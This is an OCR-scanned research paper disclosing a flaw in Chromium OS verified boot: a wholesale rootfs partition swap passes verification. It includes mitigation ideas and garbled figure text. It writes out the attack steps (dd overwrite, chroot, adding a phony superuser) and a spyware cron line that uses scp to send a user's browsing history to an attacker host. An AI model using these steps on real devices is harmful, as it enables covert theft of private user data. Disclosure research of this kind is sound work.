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Abstract 

Verified boot is an interesting feature of Chromium OS 
that should detect any modification in the firmware, ker- 
nel or the root file system (rootfs) by a dedicated adver- 
sary. However, by exploiting a design flaw in verified 
boot, we show that an adversary can replace the original 
rootfs by a malicious rootfs containing exploits such as a 
spy ware and still pass the verified boot process. The ex- 
ploit is based on the fact that although a kernel partition 
is paired with a rootfs, verification of kernel partition and 
rootfs are independent of each other. We experimentally 
demonstrate an attack using both the base and developer 
version of Chromium OS in which the adversary installs 
a spyware in the target system to send cached user data 
to the attacker machine in plain text which are otherwise 
inaccessible in encrypted form. We also discuss possible 
directions to mitigate the vulnerability. 

1 Introduction 

Chromium OS |1] is the open source version of the 
Google's Chrome OS lfT2ll . It is designed for the users 
who spend considerable amount of time on the internet. 
The core of the system is a Chromium browser which 
also acts as the user's interface with the system. Since, 
the system is optimized with system components to sup- 
port the browser, the system can boot very fast. 

The Chromium OS design document (3) discusses the 
following use cases for Chromium devices: 

• Ubiquitous computing, 

• Use as a secondary entertainment computer, 

• Lending device to the customers of coffee shops and 
libraries, 

• Sharing a common computer among family mem- 
bers. 



Since sharing a device among multiple users is one of 
the intended use cases, Chromium OS is designed to sup- 
port scenarios such that one user (even the owner) cannot 
access the data of another user. In addition, cached user 
data |5 ] on the local disk is stored in encrypted form to 
protect user data even if the device is stolen. On top of 
that, Chromium OS employs a technique called verified 
boot (51 that can check the system integrity (firmware, 
kernel and rootfs) between two boot sequences. 

The verified boot process is divided into two major 
phases. One is firmware verification which depends on 
hardware and read only firmware. The second phase 
is kernel [4] and rootfs verification. The second phase 
is common for both the Chromium device and Google 
Chromebooks |2] whereas the first phase is more com- 
monplace with Chromebooks since it requires specific 
hardware and firmware support. 

In Chromium OS, each kernel (there are three of them, 
one is the main kernel and other two support update and 
recovery process) is paired with a rootfs. However, the 
kernel and its paired rootfs are kept in separate partition 
and the verification takes place separately in the verified 
boot process. The kernel partition is kept separate from 
the rootfs so that the firmware can read the kernel with- 
out parsing the whole file system, and the kernel and file 
system can use different algorithms to verify. We exploit 
this fact to bypass the verified boot security by overwrit- 
ing the original rootfs partition in verified boot image by 
a tampered rootfs partition containing a spyware Q to 
steal the cached user data which are otherwise encrypted 
and not accessible. The targeted user does not suspect 
anything since the verified boot cannot detect the rootfs 
tampering and becomes a victim of spyware once the 
user logs into his/her account. 

So, how can this attack take place in a real usage sce- 
nario? Say, a user, Alice, uses a Chromium OS with 
verified boot support on her netbook ifTOl . One day, she 
forgets her netbook in the library. Attacker Eve finds 
the netbook, takes the disk out, overwrites the original 



rootfs partition with her tampered rootfs partition con- 
taining a spy ware or keylogger. After that, Eve puts the 
disk back and return the netbook to lost-and-found sec- 
tion of the library. Alice picks up the netbook from lost- 
and-found, and boots up the machine. Alice believes that 
if there was any modification of the system, the verified 
boot will alert her. Since Alice passes a smooth boot 
process, she thinks that her system is intact and happily 
starts using the machine. As soon as, Alice starts using 
the machine, the spy ware installed by Eve is invoked and 
it starts covertly sending Alice's sensitive information to 
Eve. 

In this paper, apart from demonstrating the complete 
attack, we also discuss some possible mitigation tech- 
niques. While one straightforward mitigation is to pair 
rootfs verification with kernel verification, this might add 
significantly to boot time. An alternative approach will 
be to check the integrity of crucial parts of rootfs such as 
boot, etc and bin instead of verifying the complete file 
system. Through the analysis of Chromium OS source 
code, we also show that the system could be made se- 
cure by reconsidering some design decisions. 

2 Chromium OS Overview 

In this section, we briefly discuss different features of 
Chromium OS that are pertinent to the exploit. 

2.1 Software Architecture 

Chromium OS basically consists of 3 components - 
firmware, Linux kernel and system software, browser 
and window manager. The firmware enables Chromium 
OS to boot in minimum possible time and in a se- 
cure way. The kernel and system software provide OS 
functionality. Services like NTP, network connection 
management are also taken care of by this layer. The 
chromium browser and window manager enable the user 
to interact with the system. Our exploit targets the Linux 
kernel and root file system (rootfs) layer which is the sec- 
ond layer in the architecture. 

2.2 Disk Format 

Chromium OS is a customized GNU/Linux distribution. 
Bootable Chromium OS drives have a common drive for- 
mat where the partition contents are as shown in Table [TJ 
The GUID Partition Table (GPT) 00 maintains a list 
of the parition entries. Since the partition table entries 
tend to change after autoupdate or reboot, it's not possi- 
ble to sign the GPT with public key encryption. Thus, 
the firmware has to check the sanity of GPT each time it 
boots. 
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Figure 1 : Software architecture of Chromium OS 

To support auto-update and address accidental corrup- 
tion, Chromium OS has at least two kernel partitions. 
Each kernel partition is paired with a rootfs partition. For 
example, kernel A boots only rootfs A and kernel B boots 
only rootfs B, etc. Currently, kernel partitions are kept 
separate from the rootfs partition for the following rea- 
sons :(i) The firmware can read the kernel without parsing 
the file system which will be useful to support newer file 
systems in future, and (ii) the kernel and rootfs can use 
different algorithms for verified boot. However, the very 
fact that the kernel partition is kept separate from rootfs 
leads to a successful attack on the OS with verified boot 
support which we discuss in the next section. 

2.3 Protecting Cached User Data 

Chromium OS allows multiple users to access a given de- 
vice, but it doesn't allow data belonging to one user to be 
seen by other users. Consider a Chromium OS device be- 
longing to Alice. Bob accesses his Google account from 
Alice's device for sometime. Even though the device is 
owned by Alice, she has no way to find out what files, or 
websites were accessed by Bob. Of course, neither can 
Bob find out any data belonging to Alice. 

To support this, Chromium OS encrypts the user's data 
at the underlying operating system level. More specif- 
ically, it encrypts each user's home directory as well 
as cached browser data. In addition, data created and 
maintained by plugins and web applications are also en- 
crypted. 

In typical operating systems the root or administrative 
user can access all the users' files. Therefore, Chromium 
OS enforces per-user encryption instead of just relying 
on file ownership and access control to prevent users of 
a system to access each other's files. Encryption better 
suits this problem since the root or administrative user 
would still have to recover the encryption keys to be able 
to access the other user's data. 
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Table 1 : GUID Partition Table of Chromium OS 



Partition 


Usage 


Purpose 


1 


Cached user data 


User s browsing history, downloads, cache, etc. Encrypted per-user 


2 


Vprnpl A 


Tnitiallv installpH kpmpl 


3 


rootfs A 


Initially installed rootfs 


4 


kernel B 


Alternate kernel, for use by automatic upgrades 


5 


rootfs B 


Alternate rootfs, for use by automatic upgrades 


6 


kernel C 


Minimal- size partition for future third kernel 


7 


rootfs C 


Minimal-size partition for future third rootfs. Same reasons as above 


8 


OEM customization 


Web pages, links, themes, etc. from OEM 


9 


reserved 


Minimal-size partition, for unknown future use 


10 


reserved 


Minimal-size partition, for unknown future use 


11 


reserved 


Minimal-size partition, for unknown future use 


12 


EFI System Partition 


Contains 64-bit grub2 bootloader for EFI BlOSes, and second-stage syslinux bootloader for legacy BlOSes 



Technically, a unique vault directory and keyset is as- 
signed to a user at the first login. The vault is nothing but 
an encrypted storage for a particular user data. The key- 
set is tied to the user's login credentials and is required 
to allow the system to both retrieve and store information 
in the vault. When the user logs in, the vault is open for 
access by the user. On logout or reboot, the vault locks 
away the user's data again. 

In general, Chromium OS sets the following require- 
ments for protecting cached user data: 

• User data must be inaccessible when the device is 
not running or when the disk is removed. 

• User data encryption must be mandatory. 

• User data should be recoverable across password 
changes, whether in-band or out-of-band. 

• Passphrases should not be exposed. 

• On a multi-user device, a user must not be able to 
access another user's data. 

• The OS may protect user data when device is in a 
suspended state. 

• When the device is offline, the user must be able to 
access his data. 

2.4 Verified Boot 

The verified boot in Chromium OS ensures that users feel 
secure when logging into a Chromium OS device. While 
Chromium OS doesn't rule out the possibility of suc- 
cessful attacks, verified boot is designed in such a way 
that an attack, once executed, won't be persistent. When 
Chromium OS boots, the state of the firmware and sys- 
tem internals are verified and booting is allowed only if 
the state is known to be good. Otherwise, a recovery or 
reinstall procedure is triggered, which happens outside 
the usual modes used by attack vectors. The verified boot 



is designed to detect any modifications in the firmware, 
kernel or file system. 

Verified boot is not the same as trusted boot ifTTTl as it 
does not depend on a Trusted Platform Module or spe- 
cialized hardware assistance. Instead, a chain of trust is 
created using a static read-only (RO) firmware that ver- 
ifies the integrity on a writable (RW) firmware. Next, 
the verified code in the writable firmware checks the in- 
tegrity of the next component in the boot path, and so on. 
The advantage is that it does not take the control away 
from the user and introduces more flexibility compared 
to the trusted boot paradigm. The verified boot process 
is broken down into two stages: 

• Firmware-based verification 

1 . RO firmware checks RW firmware with a per- 
manently stored key. 

2. RW firmware verifies any other NVRAM as 
well as the bootloader and kernel. 

• Kernel-based verification 

1. Verifies the files and metadata on the rootfs. 

2. Ensures data block integrity in rootfs using 
cryptographic hashes stored after the rootfs on 
the system partition. 

However, the kernel level verification is not tied with the 
firmware-based verification so that it may be compatible 
with any trusted kernel. 

3 Threat Model 

There are two types of adversaries described by the 
Chromium OS threat model: (i) opportunistic adversary 
- one who does not target any specific individual or or- 
ganization, but will try to gain access to any vulnerable 
system available. Such an adversary will likely sniff net- 
work packets to search for vulnerable hosts, or run web- 
sites which could execute malicious code on the vulner- 
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able system thus giving the adversary control of the sys- 
tem, (ii) dedicated adversary - one who targets only a 
specific individual or organization with the explicit pur- 
pose of gaining access to or stealing data from systems 
belonging to the latter. Such an adversary is even ready 
to physically steal the device if needed, in addition to 
employing conventional attacks in order to own the vul- 
nerable OS. 

The current Chromium OS design by default doesn't 
deal with the following threats: 

• An attacker who has gained remote access to the 
device tries to access the logged in user's data. 

• On an autologin-enabled device, an attacker can 
easily access user data. 

• On a device in suspended state which has screen- 
locking disabled, an attacker can access user data. 

• An attacker can try to obtain a memory dump of the 
device and try to access any sensitive data stored in 
memory. 

• An attacker who has gained physical access to a ma- 
chine with screen-locking can perform screen lock, 
network or other such runtime attacks to access user 
data. 

• An attacker who can tamper the rootfs on the ma- 
chine can steal user data when the user logs in. 

Although verified boot process can detect if the rootfs 
has been modified, it doesn't prevent the original rootfs 
partition from being overwritten by a malicious rootfs 
partition by a dedicated adversary. 

This is due to the following reasons which we have 
introduced in previous sections: 

• Lack of coupling between the kernel and rootfs ver- 
ification 

• The block integrity check values of the rootfs are 
stored on the same partition. So, the block integrity 
checks of a rootfs will always match with the hash 
values stored on the partition. 

This is precisely the exploit that our work demonstrates 
in detail in the next sections. 

4 Demonstrating Exploits 

For the purpose of demonstrating the exploits, we have 
built Chromium OS images from the source code. The 
build environment was: Ubuntu 10.04, 64 bit machine 
with root access and 12 GB RAM. The image comes in 
two flavors: base and developer. The developer image 



has some additional development packages compared to 
the base image. The exploits described in the follow- 
ing section apply to both base and developer version of 
Chromium OS. 

Figure [2] gives an overview of machine setups for 
the exploit. The core of the exploit is to overwrite 
the rootfs partition (partition 3, Table Q]) of a verified 
boot Chromium image with a tampered rootfs contain- 
ing a spyware. Therefore, the exploit takes place in two 
phases. First, the attacker builds a default Chromium 
OS with no verified boot support and tampers the rootfs 
installing the spyware. Next, the attacker physically 
acquires the disk from the user machine containing 
Chromium OS with verified boot support and overwrites 
its rootfs partition with the tampered rootfs prepared in 
the first phase. We describe these phases in detail in the 
following sections. 

Tampering the rootfs: By default, verified boot is not 
enabled in Chromium OS image build process. There- 
fore, when the system starts, it does not check for 
firmware and rootfs integrity. We exploit this fact to pre- 
pare the tampered rootfs partition containing the spyware 
for the next phase. 



1. 



After building a Chromium OS image without en- 
abling the verified boot, it was written to a USB 
disk. The USB disk containing Chromium OS and 
cached user data is connected to the attacker ma- 
chine as an external drive (Figure [3]). Once con- 
nected, one can see the 12 partitions (Table [B of 
the Chromium OS. Please note, among this 12 par- 
titions, only partition 1 and 3 were mountable from 
an external disk. Partition 1 contains the cached 
user data in encrypted form (Figure 0]). Partition 3 
contains the rootfs and its contents (Figure [5]). 



root @ phenom 

/disk3 

root @ phenom 

bin etc 
boot home 
debugd lib 



tt mount /dev/sdg3 /mnt 

tt Is /mnt/disk3 

media proc ^| 

mnt root usr 

opt sbin var 



dev lost+found postinst sys 



Figure 5: rootfs on Partition 3 



root @ uub : ~ # mount /dev/sdb3 /mnt/disk3 

root @ uub : ~ tt chroot /mnt/disk3 

uub / tt adduser phony 

uub / tt passud phony 

Enter new UNIX password: 

Retype new UNIX password: 

passwd: password updated successfully 

uub / tt su phony 

bash: /dev/null; Permission denied 
phony@uub / $ | 



Figure 6: Adding a phony user with super user privilege 
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User Machine 

Figure 2: Machine setup for the exploit 



[70108. 445665] sdg : sdgl sdg2 sdg3 sdqA sdg5 sdg6 sdg7 sdg8 sdg9 sdgl0 sdgll sdgl2 
[70108.448594] sd 15:0:0:0: [sdg] No Caching mode page present 
[70108.448598] sd 15:0:0:0: [sdg] Assuming drive cache: write through 
[70108.448602] sd 15:0:0:0: [sdg] Rttached SCSI removable disk 

[70123.098325] EXT2-fs Csdg3) : warning: mounting unchecked fs, running e2fsck is recommended 
root @ phenom : " tt mount /dev/sdg3 /mnt/disk3 
root @ phenom : " tt Is /mnt/disk3 

bin boot debugd dev etc home lib lost+found media mnt opt postinst proc root sbin sys ^| usr var 
root @ phenom : " tt | 



Figure 3 : USB disk with Chromium OS connected as an external drive 



root @ phenom : /mnt/disk/home/ . Shadou/2695df4e30b2b41eca0a22b65577d39d635d23de/vau It/user tt Is 

Cache 
Downloads 

ECRYPTFS_FNEK_ENCRYPTED.FNagFTb2qnNHbEQjSX7vizH3MzSjD3BNJdyMlHoFe0pEqzghlpsjCxLhk— 
ECRYPTFS_FNEK_ENCRYPTED.FNagFTb2qnNHbEQjSX7vizH3MzSjD3BNJdyMlQ8vF19P75G7jFldZ79IEk~ 
ECRYPTFS_FNEK_ENCRYPTED . FMagFTb2qnNHbEQjSX7vizH3MzS jD3BNJdyM2RLxen0QRZZ58UqdiRhqFU — 



Figure 4: Encrypted Cached User Data on Partition 1 
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2. After mounting, the attacker can modify the rootfs 
(Figure[7]) enrooting to the partition and can add a 
user with the superuser privilege (Figure [6]). Next, 
we show how to overwrite this tampered rootfs par- 
tition to a Chromium OS image with verified boot 
support. 

root @ phenom : ~ tt mount /dev/sdg3 /mnt/d i sk3 
root @ phenom : ~ tt chroot /mnt/disk3 
phenom / tt Is 

bin dev lib mnt proc sys var 

boot etc lost+found opt root tmp 

debugd home media postinst sbin usr 

phenom / tt Is -1 

total 84 

druxr-xr-x 2 root root 4096 Feb 1 21:29 bin 
Figure 7: Modifying the rootfs on partition 3 



root @ phenom : /dev tt umount /mnt/disk3 
root @ phenom : /dev tt dd if=sdg3 of=sdf3 
1757184+0 records in 
1757184+0 records out 

899678208 bytes (900 MB) copied, 247.163 s, 3.6 MB/s 
root @ phenom : /dev tt sudo mount /dev/sdf3 /mnt/disk3 
root @ phenom : /dev tt Is /mnt/disk3 
bin dev lib mnt proc sys var 

boot etc lost+found opt root tmp 

debugd home media postinst sbin usr 

root @ phenom : /dev tt Is -1 /mnt/disk3 
total 84K 

druxr-xr-x 2 root root 4 . 0K Feb 1 16:29 bin 
druxr-xr-x 4 root root 4 . 0K Feb 1 16:30 boot 

Figure 9: Overwriting partition 3 on Chromium- verified boot 
with partition 3 with no verified boot support 

Replacing the rootfs of verified boot: For this phase, 
the attacker physically acquires the user disk contain- 
ing Chromium OS with verified boot support. However, 
the method to tamper the rootfs partition described in 
the previous section does not work by default on the 
Chromium image with verified boot support. Specifi- 
cally, parition 3 containing the rootfs is not mountable, 
so the rootfs cannot be accessed (Figure [8]) by default. 
Therefore, the attacker can try the following attack based 
on the fact that there was no direct binding between the 
kernel and the rootfs. More specifically, the kernel and 
rootfs use different algorithms for verified boot and the 
verification is independent of each other. The kernel is 
verified using a single signature header; rootfs uses a 
more complex block-based algorithm and the resultant 
hash was stored on the same partition. So, as long as the 
original rootfs partition is intact, the verified boot can 
detect tampering with the contents of rootfs. But, if the 
rootfs partition itself is overwritten, the verified boot pro- 
cess is not capable of detecting it. Based on this: 

• The attacker can overwrite partition 3 of verified 
boot Chromium OS with the tampered rootfs par- 
tition created in the previous phase (Figure 0. 



• Now, the attacker unmounts the system and boots 
into the Chromium OS and switches to the console 
mode by pressing (Ctrl+Alt+F2). The attacker 
uses the phony credential to gain superuser privi- 
lege and sets up the following cron job at system 
startup which will work as the spy ware. 

***** scp /home/chronos/user/History 
chronos@homelab.homeunix.org: . 

The spyware will run in the background and copy 
a user's cached data (in this case, web browsing 
history) to a machine under the attacker's con- 
trol. More specifically, this command would Secure 
Copy (scp) the logged in account user's history file 
on the user machine to the attacker machine home- 
lab, homeunix.org (where the attacker would have 
already enabled passwordless login) at 1 minute in- 
tervals. 

• Once an unsuspecting user, say, Alice logged in 
with her account with this tampered rootfs with the 
spyware installed, the cron job would start sending 
her history (or any other file as directed by the at- 
tacker) file to the attacker's machine, without Alice 
ever taking notice of it. 

Figure ITOl shows the scp log from the user machine 
showing the spyware activity. 

5 Discussion 

Here we discuss some facts pertaining to the exploit de- 
scribed in the previous section. 

Does the exploit require superuser privilege on the 
verified boot Chromium image? No, the exploit does 
not assume any knowledge about anyone on the user ma- 
chine and certainly does not require super user privilege 
on the user operating system with verified boot support. 
The attacker only needs root privilege on its own ma- 
chine for chroot purpose. 

Does it work only for images written on USB disks? 
Not necessarily. It can work for any externally connected 
disk containing the verified boot image (doesn't have to 
be connected through USB). 

Is there any hardware dependency of the exploit? No. 
The exploit is not specific to any hardware configuration 
and does not make any assumption on the hardware of 
the user machine. 

Is the exploit persistent? Unfortunately, yes. The ex- 
ploit does not disappear by simply rebooting the sys- 
tem. Note that, many of the attacks described in 
the Chromium OS verified boot design document are 
patched by reboot (6). 
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[70065.654921] sdf: sdfl sdf2 sdf3 sdfA sdf5 sdf6 sdf7 sdf8 sdf9 sdflB sdfll sdfl2 

[70065.659311] sd 14:0:0:0: [sdf] No Caching mode page present 

[70065.659316] sd 14:0:0:0: [sdf] Assuming drive cache: urite through 

[70065.659319] sd 14:0:0:0: [sdf] Attached SCSI disk 

root @ phenom : ~ tt mount /dev/sdf3 /mnt/disk3 

mount: urong fs type, bad option, bad superblock on /dev/sdf3, 

missing codepage or helper program, or other error 

In some cases useful info is found in syslog - try 

dmesg I tai 1 or so 



Figure 8 : Mount failure of parition 3 on Chromium with verified boot 
chronos@phenom : ~$ cat scp.log 

Executing: program /usr/bin/ssh host homelab.homeunix.org, user chronos, command scp -v -t 

0penSSH_5.2pl, OpenSSL . 9 . 8r 8 Feb 2011 

debugl: Reading configuration data /etc/ssh/ssh_conf i g 

debugl: Applying options for * 

debug2: ssh_connect: needpriv 

debugl: Connecting to homelab.homeunix.org [67.247.224.222] port 22. 
debugl: Connection established. 



Figure 10: Secure copy log of user machine shows the activity of spy ware 



Does the exploit replace any trusted computing base ? 
No. The exploit does not replace any part of the read- 
only and read-write firmware or any other security pa- 
rameters of the kernel. 

Is it limited to spyware attack? No, although we 
just demonstrate a simple spyware here, the attacker can 
practically install much severe malware such as a key- 
logger to steal sensitive user information. 

Does the exploit work on Google Chromebooks ^? 
From the exploit structure, we are pretty confident that 
it should work with Google Chromebook. However, at 
this point we have not tested it on Chromebooks and will 
be contacting Google Chromebook team to discuss this 
issue. 

6 Mitigation 

The main reason why it is possible to overwrite the rootfs 
partition and still pass the verified boot is that the rootfs 
integrity check hash is appended at the end of rootfs par- 
tition (Figure [TT]). So, while a partial tampering with the 
rootfs will be detected, a complete replacement of the 
partition (along with the hash) cannot be detected by ver- 
ified boot. More specifically, the rootfs verification con- 
tents are located at /usr/bin/dump_kernel_config in 
the rootfs (Figure [12]). Therefore, when the rootfs parti- 
tion is replaced, the verification contents are also over- 
written. 

So, a straightforward solution will be to keep the rootfs 
hash in a separate partition and tie it with the kernel 
verification process. However, depending on the rootfs 
size, this hash verification process might significantly 
add to the boot time. To address this, one can employ 
Merkle hash tree based approach and sample blocks 



of rootfs for verification during the verified boot process. 
This might reduce the hash verification time, however, 
the guarantee will be probabilistic. 

Another significant issue that needs to be addressed 
is the invocation of command line mode by pressing 
Ctrl+Alt+F2 on a Chromium device. The user accounts 
on the rootfs are not tightly coupled with actual user 
(Google) accounts with the machine. Thus, an attacker 
can switch to a phony user with superuser privilege and 
activate the spyware using the shell. So, if the rootfs user 
accounts are tightly coupled with the user (Google) ac- 
counts on the device, the attack surface will be further 
minimized. 

7 Conclusion 

In this paper, we describe and demonstrate a vulnerabil- 
ity in Chromium OS verified boot process that enables a 
dedicated adversary to launch attacks targeting the sensi- 
tive user data. Although, we just demonstrate the instal- 
lation of a spyware to steal the cached user data, in prac- 
tice a dedicated attacker can also launch severe attacks 
such as installing a key-logger to steal more sensitive 
user data such as password, credit card information and 
so on. Due to the portable usage pattern of Chromium 
OS devices (netbooks or USB disks), it is not difficult 
to weigh the practicality of the attack. While we work 
towards the mitigation of the vulnerability at the source 
code level, we hope that Chromium OS will go through 
more rigorous security analysis by the community. 
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bin/cros_make_image_bootable : DEFINE_integer rootfs_hash_pad 8 \ 
bin/cros_make_image_bootable : DEFINE_string rootfs_hash "/tmp/rootfs . hash" 



\ 



— rootfs_hash=${FLRGS_rootfs_hash} \ 
local rootfs_hash_size=$(stat -c '%s' ${FLRGS_rootfs_hash} ) 
info "Appending rootfs.hash (${rootfs_hash_size> bytes) to the root fs" 
if [[ ${rootfs_hash_size> -gt $( CFLRGS_rootfs_hash_pad * 1024 * 1024)) ]] 
die " — rootfs_hash_pad reserves less than the needed ${rootfs_hash_size> " 
if="${FLHGS_rootfs_hash}" \ 
sudo rm "${FLAGS_rootfs_hash} " "${FLRGS_output_d i r>/vm 1 inuz . image" \ 
${ IMRGE_DIR}/rootfs . hash" 



bin/cros_make_image_boo table 
bin/ or os_make_image_boo table 
bin/cros_make_image_boo table 
bin/ or os_make_image_boo table 
bin/ or os_make_image_boo table 
bin/cros_make_image_boo table 
bin/ or os_make_image_boo table 

bin/cros_make_image_bootable : FLRGS_rootfs_hash : 
bui ld_image : DEFINE_integer rootfs_hash_pad 8 \ 

bui ld.image: if [ $C C FLRGS.rootf s_s i ze + FLRGS_rootfs_hash_pad) ) -gt \ 
build.image: die "rootfs C$C CFLRGS_rootfs_size + FLRGS_rootfs_hash_pad ) ) MiB) is" 
bui ld_kernel_image . sh : DEFINE_str ing rootfs_hash "" \ 

bui ld_kernel_image . sh : i f EE -n "${FLRGS_rootf s_ i mage} " && -n "${FLRGS_rootfs_hash> 

hashtree=${FLRGS_rootfs_hash> \ 
if EE -f "${FLRGS_rootfs_hash>" ]]; then 
sudo chmod a+r "${FLRGS_rootfs_hash> " 
bui ld_kernel_image.sh: if EE -f ${FLRGS_rootfs_hash> ]]; then 

bui ld_kernel_image . sh : info "Root filesystem hash emitted: ${FLRGS_rootfs_hash} " 
bui 1 d_ 1 ibrary/bui ld_image_ut i 1 . sh : — rootfs_hash_pad="${FLRGS_rootfs_hash_pad} " 
bui 1 d_ 1 ibrary/base_image_uti 1 .sh: R00T_HRSH_PRD=$C CFLRGS_rootfs_hash_pad * 1024 * 



]]; then 



bui ld_kernel_image . sh : 
bui ld_kernel_image . sh : 
bui ld_kernel_image . sh : 



1024)) 



Figure 1 1 : Rootfs hash is added at the end of the rootfs partition 



93 get_part it ions 
94 

95 tt Logic belou extracted from src/platform/ instal ler/chromeos-set image 

96 DUMP_KERNEL_CONFIG=/usr/bin/dump_kernel_conf ig 

97 KERNEL_CONFIG=$(sudo "${DUMP_KERNEL_CONFIG}" "${KERNEL_ IMG} " ) 

98 kernel_cfg="$(echo "${KERNEL_CONF I G> " I sed -e ' si .*dm="\( E A "]*\) " .*/\l/g" I 

99 cut -f2- -d, )" 

100 ^^H- sectors= $ (ech o ${kernel_cfg> I cut -f2 -d' ') 

101 verity_algorithm=$(echo ${kernel_cfg} I cut -f8 -d" ") 
102 

103 tt Compute the | | hash tree 

104 VERITY=/bin/verity 

105 tt First argument to verity is reserved/unused and MUST be 

106 table="vroot none ro,"$(sudo "${VERITY}" create \ 

107 "${verity_algorithm}" \ 

108 "${ R00TFS _IMG>" \ 

109 $CC^^H_sectors / 8)) \ 

110 /dev/null) 
111 

112 expected_hash=$(echo ${kernel_cfg> I cut -f9 -d' ') 

113 generated_hash=$Cecho ${table> I cut -f2- -d, I cut -f9 -d" ') 
114 

115 cleanup 
116 

117 if [ M ${expected_hash} M != "${generated_hash}" ]; then 

118 uarn "expected hash = ${expected_hash}" 

119 warn "actual hash = ${generated_hash> " 

120 die "Root filesystem has been modified unexpectedly!" 

121 else 

122 info "Root filesystem checksum match!" 

123 Qi 



Figure 12: Internals of verify rootfs checksum script 
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